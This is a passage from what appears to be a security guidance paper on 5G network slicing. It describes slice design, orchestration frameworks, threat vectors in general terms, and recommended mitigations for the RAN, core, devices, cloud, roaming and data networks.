network slice requirements are defined by associating a value to one or more +network slice characteristics. By preference, network slice characteristics from the GSMA ought to +be used. If an appropriate characteristic is not defined there, in 3GPP TS 23.501, or in this +document, a new network slice characteristic can be defined as previously discussed in this paper. +Custom network slice requirements are created by choosing values for each of the chosen set of +network slice characteristics. The completed set of network slice requirements is then associated +with a network service profile. That profile is the basis for a service level agreement (SLA) between +an NSC and an NSP. The NSC can negotiate with NSPs to agree on a service profile for each overthe-top connection. +TLP:CLEAR +Figure 5: Network Slice Model +Security Management of a Network Slice +Once a network slice has been designed and implemented, it enters the operations phase of the +lifecycle. This phase includes activation, modification, and deactivation of the network slice. +Activation of a network slice must not commence until all SLRs have been met. Ideally, the network +slice needs to stay activated throughout the intended deployment period until deactivation. +However, mission objectives or the operational conditions might change over time, so +modifications to the network slice might be needed during the deployment period so that specific +SLRs are met. +A baseline of security related network slicing features must be established for day-to-day +operations. Those features must support confidentiality, integrity, and availability requirements. +Zero trust architecture (ZTA) methodology can be implemented and exercised to ensure the secure +activation, supervision, reporting, modification, and the de-activation of a slice. +To ensure smooth network slice operations, these security features need be deployed as might be +recommended by the 3GPP. 3GPP standards define functionalities of Communication Service +Management Function (CSMF), the Network Slice Management Function (NSMF), and the Network +Slice Subnet Management Function (NSSMF). These interact with functions of the Operations +Support System and Business Support System (OSS/BSS), and the Virtualized Network Function +Manager (VNFM) within the MANO architecture. These three components plus the capability +exposure platform make up the network slice management components. +TLP:CLEAR +Network Slice Orchestration Frameworks +The ETSI MANO and ONAP service orchestration frameworks have been developed with detailed +specifications that support the design, deployment, operations, and maintenance phases of slices. +In short, the life cycle of a slice can be carried out in an automated manner. +MANO defines an NFV architecture that enables design, management, and allocation of virtual +infrastructure resources to VNFs and slices. The main functional blocks within the NFV-MANO are: +Network Functions Virtualization Orchestrator (NFVO), +Virtualized Network Function Manager (VNFM), and +Virtualized Infrastructure Manager (VIM) +Additional functionalities that have been defined for managing containerized VNFs are the +Container Infrastructure Service Management (CISM) and the Container Image Registry (CIR) +functions. The CISM is responsible for maintaining the containerized workloads while the CIR is +responsible for storing and maintaining information of operating system container software +images. The behavior of the NFVO and VNFM is driven by the contents of deployment templates +(a.k.a. NFV descriptors) such as a Network Service Descriptor (NSD) and a VNF Descriptor (VNFD). +The 3GPP defined functionalities of the NSMF and the NSSMF map to functionalities within the +OSS/BSS, and the VNFM within the MANO architecture. +ONAP is an open-source platform that enables product-independent capabilities for design, +creation, and life cycle management of network services. The ONAP E2E Network Slicing Use Case +realizes functionality of a slice across 5G RAN, core, and transport network slice subnets. The Use +Case demonstrates the modeling, orchestration (life cycle and resources) and assurance of a +network slice implemented in alignment with relevant 3GPP, ETSI, IETF, and other standards.15 +5G Threat Vectors +There are many threat vectors that affect a 5G network slice. Of these, Denial of Service (DoS) +attacks on the signaling plane, Misconfiguration Attacks, and Man-in-the-Middle (MITM) Attacks +pose significant risks to network slicing. Relative to the commonly known confidentiality, integrity, +and availability triad, DoS directly attacks the availability of the system and its functionality, +including loss of access to the 5G infrastructure, loss of access to remote data, or compromised +communication services. +ZTA methodology can help harden a 5G deployment; a big part of ZTA can be accomplished by +employing authentication, authorization, and audit (AAA) techniques. Proper implementation of +authentication and authorization can also mitigate threat vectors stemmed from misconfiguration +attacks. +Both misconfiguration attacks and MITM attacks can have a broad range of adverse effects on +confidentiality, integrity, and availability. Misconfiguration attacks refers to a situation where +adversaries take advantage of misconfigured system controls. It might include security features +15 https://docs.onap.org/projects/onap-integration/en/latest/docs_E2E_network_slicing.html#e2e-network-slicing- +use-case +TLP:CLEAR +that are inadvertently turned off or system monitoring services being disabled. +MITM attacks imply that the adversary secretly relays and possibly alters the communications +between two endpoints. Such an attack could be devastating as misinformation and disinformation +could be resulted. If ZTA principles are applied, this could be an effective means to help mitigate +these MITM 5G attacks. +Cyber hygiene must be followed to ensure cyber impacts due to inherent system vulnerabilities and +misconfigurations are minimized: +ZTA requires AAA techniques that are employed within and between all 5G components and +between supporting infrastructure connected elements. +Perform cyber risk assessment periodically as new and emerging threats continue to be +produced to the operating environment. +Goals for End-to-End Network Slicing +A network slice user data is shown flowing from the UE to the data network, passing through RAN +functions, TN, and the 5G Core. Orchestration frameworks (e.g., MANO) configures and orchestrates +the Open RAN, TN, and 5G Core to realize a network slice. The combination of all these system +components is the attack surface for the network slice user data flow. +Figure 6: End-to-End 5G Network Slicing Architecture +The high-level goals for E2E 5G network slicing influences the network slice profile. The +following are some high-level security objectives for E2E 5G network slicing: +1) Ensure availability of the network slice user data in transit as required by the NSC. +2) Ensure integrity of network slice user data in transit as required by the NSC. +3) A network slice must enforce the physical and logical constraints on its path over its +lifetime. +4) A network slice must ensure confidentiality of data in transit as required by its SLRs. +5) Ensure confidentiality of the owner of the network slice user data in transit as required +by the network slice customers. +Specific use cases may comprise other high-level objectives for E2E 5G network slicing. The highlevel security objectives address the following key assets of a 5G network slice: +Network slice user data flow. +Identity of NSCs and NSUs using a network slice. +Geographic location of the components of a network slice. +TLP:CLEAR +Specific use cases may comprise other key assets than what is enumerated in the aforementioned +list for E2E 5G network slicing. In this scenario, a single UE connected to two sliced to support two +different applications: +1) Demand from a large number of live streams of an on-site sporting event to enhance or +argument the real time experience. +a. Support many subscribers. +b. Ultra-low latency (to match events in real time) and high bandwidth. +i. Use of edge compute (to minimize latency and minimize data network +backhaul requirements). +c. Potentially low confidentiality requirement. +2) Support for real time update of fantasy sport team stats. +a. Support many subscribers. +b. Ultra-low latency, low bandwidth, high frequency update of odds. +c. High confidentiality, integrity, and availability triad. +d. A centralize real time scores statistics server system in a regional cloud. +TLP:CLEAR +DESIGN CRITERIA +Network Slice +The requisite criteria to adequately define a 5G network slice is specified by the end-user +(NSU/NSC) in the form of a network slice service profile and confirmed by the supplier of the NSP. +A NSP implements a service that realizes a network slice. An NSP might implement multiple +network slices. Each network slice may be composed of one or more underlying network sub-slices. +At the lowest level and without additional SLRs, a network slice is equivalent to the underlying +physical network. Conceptually, any composition of two or more underlying network slices is a new +network slice. The NSP has the privileges necessary to use the underlying network slices in the +implementation of the new composite network slice. +A network slice can be tailored based on the specific requirements agreed between customer and +slice provider and can span across multiple network domains used by an NSP (e.g., access, core, +transport, and data networks) and is comprised of dedicated and/or shared resources in terms of +functionality, processing power, storage, and bandwidth. +5G network slicing offers a NSP the opportunity to increase the utilization of their physical +infrastructure while meeting the SLRs of multiple NSCs. Currently NSCs must have significant indepth discussions with NSPs on meeting the confidentiality, integrity, and availability of slices by +an NSP. 5G network slice standards are immature/nonexistent regarding confidentiality, integrity, +and availability SLCs. Standardization efforts and adoptions by NSPs in this area is required before +the SLRs for confidentiality, integrity, and availability can be uniformly applied between operators. +Currently, 5G network slicing specifications do not prescribe how network slice are implemented. +For instance, a fundamental tenet of the 3GPP is to create specifications, while implementation is +left to MNOs and mobile network vendors. +Figure 7 shows some the ways an NSP might choose to implement 5G network slices. The potential +variability and inconsistency will have significant effect on both the QoS and confidentiality, +integrity, and availability of the 5G network slice. Network slices are implemented as independent +logical networks that are separated and managed for each service type within a common +infrastructure. Network slicing can guarantee the quality of data transmission for time-sensitive +services or mission-critical services, such as connected cars, by allocating isolated and dedicated +resources. +TLP:CLEAR +Figure 7: Independent Logical Networks16 +Slice #1 shares 5G core NFs (Network Resource Function (NRF), Policy Control +Function (PCF), and Access Management Function (AMF)) with Slice #2. +However, Slice #1 and Slice #2 do not share other NFs (Session Management +Function (SMF) and UPF) and may have their own additional dedicated PCF for each +of their slices. +Slice #3 does not share any NFs with the other two slices and therefore from a core +network perspective it is isolated from the other two, even though the access +network (e.g., RAN) is shared between all the three slices. +Network Slice Service Profile Recommendations +Establish and define a comprehensive list of the slice profiles (across all SLAs) to be +accommodated by the NSP. +Establish the types and requirements of the UE that will connect to the RAN for each +individual slice profile (across all SLAs) accommodated by the subject 5G network. +Establish the types and capabilities of data networks that will connect to the N6 Interface +for each individual slice profile (across all SLAs) accommodated by the subject 5G network +slice. +Establish the full list, and associated metric value ranges (e.g., SLRs), of all SLCs contained +within the slice profiles (across all SLAs) accommodated by the subject 5G network slice. +Establish the maximum of number of concurrent slices, for each individual slice profile +(across all SLAs), that will be accommodated by the subject 5G network slice. +Establish the requisite combinations (including types and quantities) of component NSPs +(across all SLAs) that will be concurrently accommodated by the subject 5G network slice. +16 From 3GPP web +TLP:CLEAR +Establish the method, frequency, requisite response timing, and prioritization policies for +the dynamic administration of network slicing across all SLAs accommodated by the +subject 5G network. +Define each network slice service profile using SLR names and values as specified by 3GPP, +GSMA, or other industry or standards development bodies. +Before provisioning, the NSP assures the requested network slice can conform to requested +SLRs and other requirements. +Changes to the security or other requirements of an existing network slice is denied if the +NSP cannot assure that the implementation of that network slice will conform to the +requested changes. +Once provisioned, the implementation of a network slice continues to conform to the +requirements specified when the network slice was provisioned or modified. +Evaluate and confirm that the subject 5G network can accommodate the types and +requirements specified by the NS service profile. +Evaluate and confirm that the subject 5G network can concurrently accommodate the +requisite combinations (including types and quantities) of individual slice profiles (across +all SLAs). +Evaluate and confirm that the subject 5G network can accommodate the method, +frequency, requisite response timing, and prioritization schema for the dynamic +administration of network slicing across all SLAs. +Open RAN +To support the overall security goals described in the previous section +Goals for End-to-End +Network Slicing, + any Open RAN implementation must meet the following security objectives: +Ensure the confidentiality, integrity, and availability triad of the network slice user data in +transit within the Open RAN. +Ensure integrity of the physical and logical path of the network slice user data within the +Open RAN. +Ensure confidentiality of the identity of the owner of the network slice user data within the +Open RAN. +Ensure confidentiality of the geographic location of the network slice user data within the +Open RAN. +Although there are many methods to compromise a network slice, the design of an Open RAN +implementation should specifically mitigate unauthorized access and misconfiguration +compromises. The remainder of this Open RAN section addresses these security objectives and +mitigations for an Open RAN based on O-RAN Alliance specifications.17 +Unauthorized access to a network slice within an O-RAN system requires access to the 5G System +user plane and control plane. The 5G System provides for optional Packet Data Convergence +Protocol (PDCP) confidentiality and data integrity mechanisms to prevent unauthorized access of +the user plane and control plane within the O-RAN system. If these mechanisms are not +17 https://www.o-ran.org/ +TLP:CLEAR +implemented by an operator, then an attacker could have access to the user plane and control +plane within the entire O-RAN system. +O-RAN supports optional 3GPP confidentiality and data integrity mechanisms for the N2 and N3 +back haul interfaces between the 5G RAN and 5G Core17. If these optional mechanisms are not +implemented by an operator, then a threat actor could have access to the 5G system (5GS) user +plane and control plane between the O-RAN system and the 5G Core. +Like any component of a 5G RAN, the CU requires security controls to prevent unauthorized access +to the user plane and control plane. A virtualized CU requires similar security controls.18192021 +Misconfiguration exploits target the availability and integrity of a network slice. An O-RAN system +misconfiguration attack on the availability of a network slice could deny service with precision +ranging from targeting an operator RAN down to a specific network slice. An O-RAN system +misconfiguration attack on the integrity of a network slice could modify the physical and/or logical +path of the network slice user data in transit from RU to CU. +An O-RAN system misconfiguration attack surface consists of the system that manages O-RAN +network functions and transport networks. As illustrated in Figure 8 below, the system is known as +the Service Management and Orchestration framework (SMO).22 Many features of the SMO follow +the network orchestration and management systems defined by 3GPP, ETSI, and ONAP. +Figure 8: O-RAN Service Management and Orchestration +The +Management and Orchestration + section describes the attacks, attack surface, and potential +mitigations for service orchestration frameworks. This section pertains to aspects of the SMO to +18 https://media.defense.gov/2021/Oct/28/2002881720/-1/- +1/0/SECURITY_GUIDANCE_FOR_5G_CLOUD_INFRASTRUCTURES_PART_I_20211028.PDF +19 https://media.defense.gov/2021/Nov/18/2002895143/-1/1/0/SECURITY_GUIDANCE_FOR_5G_CLOUD_INFRASTRUCTURES_PART_II_20211118.PDF +20 https://media.defense.gov/2021/Dec/01/2002901540/-1/1/0/SECURITY_GUIDANCE_FOR_5G_CLOUD_INFRASTRUCTURES_PART_III_508%20COMPLIANT.PDF +21 https://media.defense.gov/2021/Dec/16/2002910260/-1/1/0/SECURITY_GUIDANCE_FOR_5G_CLOUD_INFRASTRUCTURES_PART_IV_20211216.PDF +O-RAN Minimum Viable Plan and Acceleration towards Commercialization White Paper, + 29 June 2021. +TLP:CLEAR +include the architectural framework, onboarding procedures, and security procedures. +Other attack vectors arise from new SMO management capabilities and interfaces. The non-RealTime RAN Intelligence Controller (non-RT RIC) configures network slices based on applications +called rApps. An attack on or by an rApp could impact the availability of a network slice. The ESF +publication Open Radio Access Network Security Considerations discusses rApp and non-RT RIC +security objectives, threats, and mitigations. +The SMO consists of management interfaces to O-RAN NFs as shown in Figure 8. The O1 interface +manages the DU, CU, and other ORAN NFs. The Non-RT RIC manages the Near-Real-time (Near-RT) +RIC network functions using the A1 interface. The Open Fronthaul M-Plane interface manages the +O-RAN Radio Units (O-RU)s. The O2 interface manages the O-Cloud, where the O-Cloud is the cloud +infrastructure for the O-RAN system. Security controls must be in place to help prevent an attacker +from modifying O-RAN system configurations with unauthorized access to these interfaces. +To address these and other O-RAN security concerns, see the recommendations for security +controls and mitigation in ESF publication Open Radio Access Network Security Considerations.23 +Core Networking +The high-level potential threats that have been identified to slicing with respect to the core +network, include attacks that may originate from UEs, unauthorized humans, and unauthorized +machines towards the core NFs. The attacks may include spoofing of customer specific NSSAI by +the UEs and other identity thefts. Other attacks of this class include un-authorized access to +customer NFs by NFs from another slice using the control plane. For example, when Unified Data +Management (UDM) in one slice makes a request for subscription information of members of +another slice to a unified data repository (UDR) that is in a different slice. +Misconfiguration and tampering attacks can lead to Denial-of-Services (DoS) to legitimate slice +users. Examples of such attacks include: +Tampering of NSSAI information when data is in flight between NFs (e.g., from UDR to UDM, +5G radio node (gNB), and AMF etc.); +Tampering of slice-specific data-usage; +Tampering slice-specific authentication data between NSSAAF and AMF; +Replay attacks; and +Misconfiguring of slice-specific info (e.g., NSSAI at the UDR, policies related to slices at the +PCF, NSSF, charging and logs related to slices etc.). +Passive or active eavesdropping could lead to leakage of highly sensitive customer slice such as: +leakage of NSSAI over the air, and subscriber information (e.g., Subscription Permanent Identifier +(SUPI), UE location information, subscription information, slice information) as to who is using +which slice may be leaked between slices. Also, leakage of slice-specific Network Information (e.g., +routing information from NRF) and leakage of sensitive slice information to external networks (e.g., +application function). +Signaling storms on N2, N3, and over service-based interfaces (SBI) can cause DoS to legitimate +slice users, and attacks from UE over N1 can impact N2 and N3 interfaces. Similarly attacks from N6 +23 https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/Enduring-Security-Framework/ +TLP:CLEAR +and N9 interfaces could impact the customer-slice user plane. +Recommended Core Network Security Mitigations: +1) Security mitigations to protect the 5G system identified by the CSRIC VII24 include using +non-access stratum (NAS) signaling integrity and confidentiality between the UE and the +core network as well as using mutual Transport Layer Security (TLS)-based authentication +and secure communications between NFs using the service-based infrastructure. For NFsto-NFs communications over non-SBI interfaces, CSRIC VII recommends using Internet +Protocol Security (IPSec). +2) Use of network slice-specific authentication and authorization by leveraging a Network +Slice-Specific Authentication and Authorization (NSSAA) to protect against un-authorized +access to slices by UEs using NSC-specific credentials (these credentials are different from +NOP credentials that are used for 5G-AKA). +3) Provide capability to enable logical / physical isolation of the control plane and user-plane +NFs belonging to each of the NSCs. Each can provide logical isolation of NSC slice subscriber +info (e.g., using separate UDR instances per slice) and based on SLRs, provide physical +isolation of NFs per slice (e.g., separate UDM / Authentication Credential Repository and +Processing Function (APRF) by means of hardware security models)). +4) Employ a dedicated intermediate certificate authority (ICA) that is used for life-cycle +management of the certificates issued to the NFs belonging to a particular slice. +5) Employ an authorization server to provide attribute and role-based access control (RBAC) +of humans and machines to perform per slice configuration, fault, and performance +management. Ensure that slice-specific logging can also be performed. +6) Employ a security vault to provide confidentiality and integrity of all sensitive and security +data (e.g., private keys, open authorization [OAuth] tokens, cert chains) used as part of +control and management plane messaging and to isolate sensitive and security data from +the rest of the platform. This makes the data available only to the respective authorized NFs +within a slice. +Store subscription information associated with a NSC +s subscriber within encrypted databases and +employ backup and data recovery processes from +golden + data. Protect subscriber data-at-rest +using a secure environment (e.g., hardware security module (HSM)). Similarly, an HSM can be used +to protect applicable credentials used for network slice-specific authentication. +User Equipment +Current 3GPP 5G standards allow a UE to access up to eight network slices. The 5G UE must be +hardened to prevent the UE from being used as a means for network slices to interact +inappropriately. +In the design of device system architecture, network slicing features require the coordination +between the upper operating system and the bottom communication modem. Table 5 shows two +ways to implement network slicing features in the device system architecture: +24 https://www.fcc.gov/about-fcc/advisory-committees/communications-security-reliability-and-interoperability-council-vii +TLP:CLEAR +Table 5: +Traffic to Network Slice Matching Schemes +Scheme +Modem-centric +OS-centric +Description +The modem matches traffic by its attributes to a network slice. +The operating system matches traffic by its attributes to a network slice. +The two approaches include two OS-Centric scheme solutions, namely, changes to the operating +system and Application APIs respectively. The overall impact of this is determining where the +network slice termination point will be in on the 5G device in one of three locations: +The Modem, +The Operating System, and/or +The Application. +To hide details of data connection management and maintenance from applications, native +operating system characterizes a data connection by network capability. Each network capability +stands for a certain kind of capability. Since operating system manages data connections based on +Access Point Name (APN) and Data Network Name (DNN), the capabilities associated to individual +services provided by system identified by the APN/DNN are the most important. +Given the complexity of the OS-Centric scheme and fragmentation, the recommendation is to select +modem centralization scheme" which provide users with more diversified, flexible, and +evolvable high-quality network slicing services. + However, the network slicing at the +OS/Application layer provides greater flexibility and enhanced user experience at the same time. +It is understood that implementing an OS-Centric scheme for OS/applications is challenging since +an operating system does not natively support URSP for the following reasons: +A URSP rule is composed by a traffic descriptor (TD) and RSDs. +The upper layer (e.g., an application) specifies the TD and the modem uses the TD to look for +a URSP rule matched to the TD. +The modem with a matched TD tries to establish a PDU session using the corresponding +RSDs in the order of precedence. +Since operating system designs data connection framework based on APN type, the +operating system can be modified for the reason explained below to use TDs. +TLP:CLEAR +Table 6: +The following is an example URSP rule for enterprise traffic. +URSP Rule (enterprise) +Precedence: +1 (0x01) +Traffic Descriptor +Operating System Id ++ Operating System +App Id Type +0x97A498E3FC925C9489860333D06E4E470A454E5445525052495345 +Route Selection Descriptor +Precedence: +1 (0x01) +Component #1: +S-NSSAI +SST:1 SD:2 (0x01000002) +Component #2: DNN +enterprise +Recommended User Equipment Security Mitigations: +1) Start with the current modem-centric approach, and then move to an OS-centric approach +once the issues about a standards-based uniform approach can be developed in the future. +2) When available, terminate the slice in the application. This might provide greater security +from a confidentiality or privacy perspective when compared to the current modem-centric +approach. +3) Implement mobile device management (MDM) to protect network slice thus protecting the +device since it is all self-contained. MDM agents may not be applicable on all UEs. +4) Protect NSSAI from being tampered and therefore recommend storing it within a secure +environment (e.g., UICC). +5) Perform authentication and authorization of application requests to access a network slice. +Cloud and Virtualization +Most 5G systems will be instantiated on virtualized compute, network, and storage resources; and +will utilize on-premises virtual machine management (private cloud) or in commercial cloud +platforms (public cloud). Mapping most of the 5G system into the virtualized, managed resources of +a private or public cloud will require security controls on all uses of those resources. +Depending on the type of cloud deployment for 5G system, the set of security controls that are +required to harden the 5G system need to be considered and deployed appropriately. There are +Industry standards and guidance that provide the list of security controls. These are generic in +nature and need to be configured specifically for the cloud provider/technology. +The configuration of the cloud controls depends on the responsibility for the security of the data, +which depends upon the type of cloud deployment that is being leveraged such as Infrastructure as +a Service (IaaS), Platform as a Service (PaaS), Software as a Service (SaaS), etc. +TLP:CLEAR +Recommended Mitigations for Virtual Systems: +Ensure that controls implemented by the 5G system cannot be bypassed using direct access +to cloud resources. +Establish necessary network connections between the components of the 5G system are +established and permit no other connections. +Protect data storage used by the 5G system from access, tampering, or deletion by any +unauthorized parties. +Establish and maintain mechanisms for monitoring operation of the 5G system, especially +resource usage, actions of authorized cloud administrators, and network traffic flows. (This +supports both real-time and forensic analysis of cloud operation to support assurance for +the 5G services.) +A cloud platform (public or private) does two things to support the hardening of network slicing: +provide a foundation for overall 5G operations, and provides resources to set up, manage, monitor, +and tear down security services and dynamic resources allocations for slices. +Assured 5G operations are foundational to network slicing + To gain this assurance, 5G operators +leverage cloud services in their design and deployment as described below. In all cases, the +principle of least privilege is essential: assign to every person or non-person entity only the +privileges and accesses necessary for operation. +Recommended Cloud Platform Hardening Mitigations: +Employ cloud tenant separation mechanisms (e.g., +virtual private cloud +) to ensure +separation between the 5G system and other workloads within the supporting cloud +platform. +Employ cloud identity and access management (IAM) features to ensure that only +authenticated and authorized administrators can create or alter cloud resource +configurations. Manage authorized identities centrally. +Configure monitoring mechanisms across the cloud platform (public or private) to record +all critical actions and resource usage. (General principles for monitoring are given by NIST +SP800-92; specific guidance for each cloud platform is offered by that platform +s vendor.) +Configure storage supporting the 5G system to use access control, integrity assurance, and +encryption, with keys managed by the cloud platform. +Configure network segmentation to separate user plane from 5G control plane traffic. +Ensure that control plane entities, such as VNFs/CNFs, have only necessary network +connectivity. +Secure instantiation of security services and allocation of securely configured resources to assure +the integrity and selected security attributes of slices. To meet this objective, 5G operators can +leverage the resource management and security services offered by cloud platforms. +A network slice provides network connectivity for authorized UEs while enforcing specific network +performance, integrity, and confidentiality guarantees. Therefore, certain entities (such as VNFs) in +the 5G logical architecture possess privileges to dynamically allocate, manage, monitor, and +TLP:CLEAR +deallocate network paths to support slice operations. +Recommended Security Mitigations for Network Slice Creation: +Do not configure such dynamic network assets +manually; + instead, invoke an approved +template or script to set up the slice assets. (E.g., Terraform, CloudFormation, etc.) +Do not deploy vulnerable components in production; continuously monitor for new +vulnerabilities and remediated. Follow guidance provided in National Institute of +Standards and Technology (NIST) Cybersecurity Framework (NIST CSF) +PR.IP-12: A +vulnerability management plan is developed and implemented. +Employ secure software development and operations processes for any code being used in +production, including the management scripts and Infrastructure as Code (IaaC) scripts. +Configure security controls, monitoring, and resource usage constraints onto the dynamic +network path and its elements before enabling operation or connecting any UEs to the slice. +Ensure that the network path resources/assets associated with the slice are +owned + by a +dynamically created identity specifically designated for this purpose. (e.g., provisioning a +dedicated identity to serve as the owner for the slice aids separation between slices and +helps with slice monitoring.) +Instantiate the requisite computing resources with an approved template, control image, or +script such as a dedicated VNF/CNF. +Interconnect & Roaming +Roaming between network operators is based on dedicated roaming agreements, which typically +are established, along with technical requirements, prior to any roaming. This applies to network +slicing roaming agreements too. Roaming agreements are necessary to allow operators to configure +an E2E network that provides the desired overall functionality and service parameters. The GSMA +broadly outlines the content of such roaming agreements in standardized form. +For network slice roaming to become a reality, several technical and business aspects first need to +be in place: +MNOs need to rollout slicing in their mobile networks and have a network slice product +offering. +Extended roaming agreements including slice definitions with SLAs based on slice +attributes. +Operational support (management and orchestration, and service assurance) in roaming +environments. +Global availability of slicing compatible UEs. +An NSP can consider the following when procuring network slicing services: +The visited network could provide to the roaming user a network slice with equivalent +functionality of the slice used in the home network, e.g., the roaming partners may agree to +support a common set of standardized slices. +TLP:CLEAR +The home network might export the blueprint of a custom network slice used by a user so +that it can be instantiated and administered by the visited network. +The home network might extend the slice into the visited network, provided it has +authorization from the visited network to control the resources. +Interconnection refers to the technical physical and logical connection between two or more MNOs. +Interconnection is a necessary component of roaming between two or more public land mobile +networks (PLMN)s. +3GPP specifications offer an interconnection solution based on the Security Edge Protection Proxy +(SEPP). All signaling traffic across and between operator networks MNOs is expected to transit +through these security proxies. +The SEPP mitigates attacks on the N32 interface by protecting 3GPP control plane messages +between interconnecting MNOs. Security controls for protecting confidentiality and integrity for +the N32 include either TLS or Protocol for N32 Interconnect Security (PRINS). Additionally, 3GPP +TS 33.501 specifies protection for the N32 interface in clauses 13.1 and 13.2.25 26 +Recommended Controls and Mitigations for 3GPP Interconnect Security: +Transit the signaling traffic between MNOs through SEPPs. +Enable filtering of traffic coming from the interconnect with authentication between SEPPs. +Employ application layer security solution on the N32 interface between the SEPPs to +provide protection of sensitive data attributes while still allowing mediation services +throughout the interconnect.27 +Data Networking +Given the dynamic nature of the 5G data network interworking environment, and since the data +network may not necessarily belong to the NSP or the NSC, there are various threat actors and +associated threats that would have to be considered such as: misconfiguration and tampering +attacks, passive and active eavesdropping, spoofing, and signaling and user-plane flooding attacks +causing DoS. +Examples of tampering or misconfiguration attacks include: +Replay of Domain Name System (DNS), Dynamic Host Configuration Protocol (DHCP), or +Protocol-Independent Multicast (PIM) messages, +Tampering with NSSAI information carried between AAA Proxy (AAA-P) and DN-AAA +servers as part of the slice-specific authentication procedure, and +Tampering with authentication and authorization data carried within Extensible +Authentication Protocol (EAP) messages, modification, and replaying slice-specific user +plane messages between data network and UPF over N6. +25 REPORT ON RECOMMENDATIONS FOR IDENTIFYING OPTIONAL SECURITY FEATURES THAT CAN DIMINISH THE +EFFECTIVENESS OF 5G SECURITY, FCC CSRIC VII +26 3GPP TS 33.501 +27 Additional resources for security framework, data models, and APIs are the MEF 117 SAS Service Attributes and +Service Framework; MEF 118 Zero Trust Framework for MEF Services; and MEF 128 LSO API Security Profile +TLP:CLEAR +Passive and active eavesdropping could lead to information disclosure to un-authorized entities. +Example of such attacks include subscriber info (e.g., SUPI, UE location, subscription info, and more +importantly slice info) leakage, as to who is using which slice may be leaked between slices and to +external entities. Such disclosures are possible if EAP messages are not protected. Additionally, +leakage of sensitive network info to other slices (customer or non-customer) or to external entities: +Leakage of slice-specific network Information (e.g., routing information: DHCP, DNS messages). +Remote Authentication Dial-In User Service (RADIUS) and Diameter messages may also leak such +information which can then be used by an attacker to target the N6 or the data network network. +Figure 9: Reference Architecture for 5G Network Interworking28 +Mitigations to Facilitate Future Data Network Interworking Security in the +Earliest Stages of Design: +1) Leverage +sandbox + and test environments to model E2E 5G-to-external data network +interworking, including leveraging native slicing specifications in other network types, +Virtual Private Network (VPN) and tunneling protocols, and Management and Orchestration +frameworks to facilitate secure data network interworking. +2) Engage in follow-on work through the ESF or other suitable mechanism to develop more +detailed guidance for the rapidly evolving network slicing work of MEF, TMForum, GSMA +and others to extend the capabilities of 3GPP/5G slicing into the broader global networking +frameworks. +3) In requests for proposal and system design documents, requestors assess and specify fullE2E connectivity requirements, including slice parameters and/or key 5G slice-defined QoS +requirements that are to be maintained E2E across non-5G environments (e.g., security, +physical/logical separation, encryption, QoS, latency, etc.) +4) Network providers pre-negotiate internetworking agreements necessary to provide E2E +connectivity across the full geographic footprint where connectivity is needed. +Regardless of how data network interworking is implemented, network design and deployment +need to consider the threat environment at the N6 interface to ensure the confidentiality, integrity, +and availability triad of the overall information system. +28 3GPP TS 29.561 V17.5 figure 6-1 +TLP:CLEAR +Recommended Mitigations to Counter the Risks Previously Described: +Protect integrity and authenticity for all signaling (e.g., Use DNSEC to protect DNS +messages.) and control plane messages. +Transport EAP messages carrying authentication and authorization data over secured +transport mechanisms that provide the confidentiality, integrity, and availability triad as +well as replay protection (e.g., Diameter messages that are protected for integrity and +authenticity). +Protect all policies and data associated with network slicing at the UPF for the N6 interface +from tampering using data-at-rest integrity protection. +Control human or machine access to the N6 configuration on the UPF by leveraging an IAM +system that uses granular access control. Such controls include attribute-based access +control or using multi-factor authentication for humans. +Protect the user plane traffic dedicated to a customer slice at the IP layer for integrity and +confidentiality. Recommend using IPSec between the UPF to the customer network in an +E2E manner. In some cases, the protection may be done in a hop-by-hop fashion. +Instantiation of a customer dedicated N6 interface associated may be reside on a shared +UPF or on a dedicated UPF for customer. +Use mutual authentication for communication between the AAA-S / DN-AAA and the +NSSAA and SMF respectively, by means of X.509 certificates that have been issued by a +mutually trusted certificate authority. Similarly, use mutual authentications for all +communications between the SMF and the DHCP servers over the N6 using X.509v3 +certificates. +Each instance of the N6 interface at the UPF that is dedicated to a slice shall have the +capability to rate-limit and firewall user traffic per slice based on current policies. +For each network slice, support rate-limited signaling /control plane messages for each N6 +interface used to communicate to DN-AAA, DNS, DHCP servers etc. +Management and Orchestration +A very highly sought-after target for compromising a 5G network slice is attacking the MANO +system. This is because the design, deployment, and operation of the slice will be done by the +management platform, mostly via IaC, programmed automation playbooks, and orchestration of +functions. Commandeering the MANO system enables the ability to introduce security +configuration vulnerabilities that attackers can use to compromise the integrity of the network +slice. The threats encompass unauthorized modifications of the playbooks, compromised software +supply chains, alterations of the IaC scripts physical network function (PNF) and VNF (xNF) images. +The set of security controls required to protect the MANO system are the same as protection of an +application, guidance can be found in NIST publications such as: +NIST 800-53 Security and Privacy Controls for Information Systems and Organizations +NIST 800 +190 + Application Container Security Guide +In addition, ensure that the security controls are tailored towards the specific needs of the NOP +system- such as the API security system- consider the structure of the API +s as defined by 3GPP and +TLP:CLEAR +TMF in evaluating attacks against them. +Ensure that only authorized entities (humans and machines) have the capability to modify or +update slice characteristics. The authorized entities need to be granular and different for each of +the processes (ex: slice design, activation, etc.) associated with the slice lifecycle. +Network Slice Creation and Deployment +The requirements specified by a network slice at inception are expected to be met throughout its +lifecycle. Network cyber-attacks need to be considered. These potential vulnerabilities include +traffic injection attacks, impersonation attacks, and DoS attacks, including exhaustion of resources. +More specifically to roaming scenarios, new vectors of attack related to interconnect can arise +especially considering management and orchestration across different administrative domains. +Slicing across domains will most likely use heterogeneous platforms and solutions: slicing +components can be implemented in firmware, operating system kernel level, in the virtualization +software systems or even in regular software. In this wide spectrum of environments, the slicing +components may be provided by different vendors thereby making difficult a common level of +security for a network slice. +Since roaming requires additional interconnect interfaces, these can be used as attack points and +expose vulnerabilities between slices and services. +The threats covered here focus primarily on newer threats related to NFV with a focus on slicing. +Threats relating to the infrastructure, e.g., cloud infrastructure, or generic 5G system threats or +generic threats relating to trust enabling functions and services, (e.g., time service, NTP, DNS, DHCP +etc.), are not addressed in this document. +Regardless of which frameworks (e.g., MANO, ONAP) are used, the threats described here are +applicable to the service and slice design and deployment infrastructure, and ought to be mitigated +to ensure the confidentiality, integrity, and availability triad of the overall information system. +Some of the key threats that would have to be addressed include, un-authorized access and +elevation of privileges. +A threat actor gains access and elevates privileges and thus on-boards a malicious network slice +containing malicious VNFs that will attack the NFs of other tenants. A threat actor could perform an +un-authorized request for reservation of compute, store, and network resources (e.g., using the OrVi or Vnfm-Vi interface). The impact could be network slice SLA and service degradation to +legitimate slices. +A threat actor attacking a weak RBAC mechanism or exploiting a vulnerability on the system can +allow the threat actor to further deploy malicious 